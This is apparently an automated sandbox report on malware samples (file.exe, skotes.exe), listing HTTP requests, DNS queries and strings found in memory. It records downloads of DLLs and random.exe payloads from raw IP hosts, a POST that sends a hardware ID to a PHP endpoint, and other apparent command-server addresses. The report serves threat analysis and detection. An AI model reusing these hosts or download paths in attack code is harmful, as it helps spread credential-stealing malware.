Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub= HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 92.63.197.221Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz

Source: unknown

HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCAFIIECBFIDHIJKFBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 36 44 35 39 38 34 36 46 35 42 33 34 30 37 37 39 30 35 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="hwid"406D59846F5B340779059------CBGCAFIIECBFIDHIJKFBContent-Disposition: form-data; name="build"drum------CBGCAFIIECBFIDHIJKFB--

Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exewQ
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/ra
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe1395d
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe13c
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe4.exe
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe61395d7f
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe:u
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeAz
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exebz
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeju
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exem
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exen
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exep
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exep32
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exetch
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exexe
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exexz
Source: file.exe, 00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2790206545.0000000000F9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2790206545.0000000000F54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllz
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllC
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/?
Source: file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/P
Source: file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2823980550.0000000023DB9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2790206545.0000000000F9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2792859084.00000000019D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2790206545.0000000000F54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2790206545.0000000000F9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1369323ae2e65563c024a986d411Extension
Source: file.exe, 00000000.00000002.2790206545.0000000000F54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2823980550.0000000023DB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpbs
Source: file.exe, 00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2790206545.0000000000F54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpge
Source: file.exe, 00000000.00000002.2792859084.000000000197E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206i
Source: file.exe, 00000000.00000002.2790206545.0000000000F54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3567114432.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpM
Source: skotes.exe, 00000011.00000002.3567114432.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpu
Source: skotes.exe, 00000011.00000002.3567114432.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpvx
Source: skotes.exe, 00000011.00000002.3567114432.0000000001468000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3567114432.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe
Source: skotes.exe, 00000011.00000002.3567114432.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe60
Source: skotes.exe, 00000011.00000002.3567114432.0000000001490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exeO
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_90.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2828472959.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2821134591.000000001DD6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: GHCGDAFC.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_90.5.dr	String found in binary or memory: https://apis.google.com
Source: c3e4899de4.exe, 00000014.00000002.3565468788.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: c3e4899de4.exe, 00000014.00000002.3565468788.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/H2
Source: c3e4899de4.exe, 00000014.00000002.3565468788.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, c3e4899de4.exe, 00000014.00000002.3565468788.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: c3e4899de4.exe, 00000014.00000002.3565468788.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiZ
Source: c3e4899de4.exe, 00000014.00000002.3565468788.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: GHCGDAFC.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2792859084.0000000001A37000.00000004.00000020.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2792859084.0000000001A37000.00000004.00000020.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2792859084.0000000001A37000.00000004.00000020.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GHCGDAFC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2792859084.0000000001A37000.00000004.00000020.00020000.00000000.sdmp, GHCGDAFC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_90.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_90.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_90.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_90.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: JKKEHJDHJKFIECAAKFIJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_90.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: EGCBAFCFIJJJECBGIIJKECAFID.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EGCBAFCFIJJJECBGIIJKECAFID.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EGCBAFCFIJJJECBGIIJKECAFID.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: GHCGDAFC.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: GHCGDAFC.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_90.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_90.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_90.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: EGCBAFCFIJJJECBGIIJKECAFID.0.dr	String found in binary or memory: https://www.mozilla.org
Source: EGCBAFCFIJJJECBGIIJKECAFID.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2790206545.0000000001037000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2790206545.0000000000F54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2790206545.0000000001037000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/GIDGHIDHDGCB
Source: EGCBAFCFIJJJECBGIIJKECAFID.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2790206545.0000000001037000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2790206545.0000000000F54000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2790206545.0000000001037000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: EGCBAFCFIJJJECBGIIJKECAFID.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: EGCBAFCFIJJJECBGIIJKECAFID.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2823980550.0000000023D31000.00000004.00000020.00020000.00000000.sdmp, JKKEHJDHJKFIECAAKFIJ.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
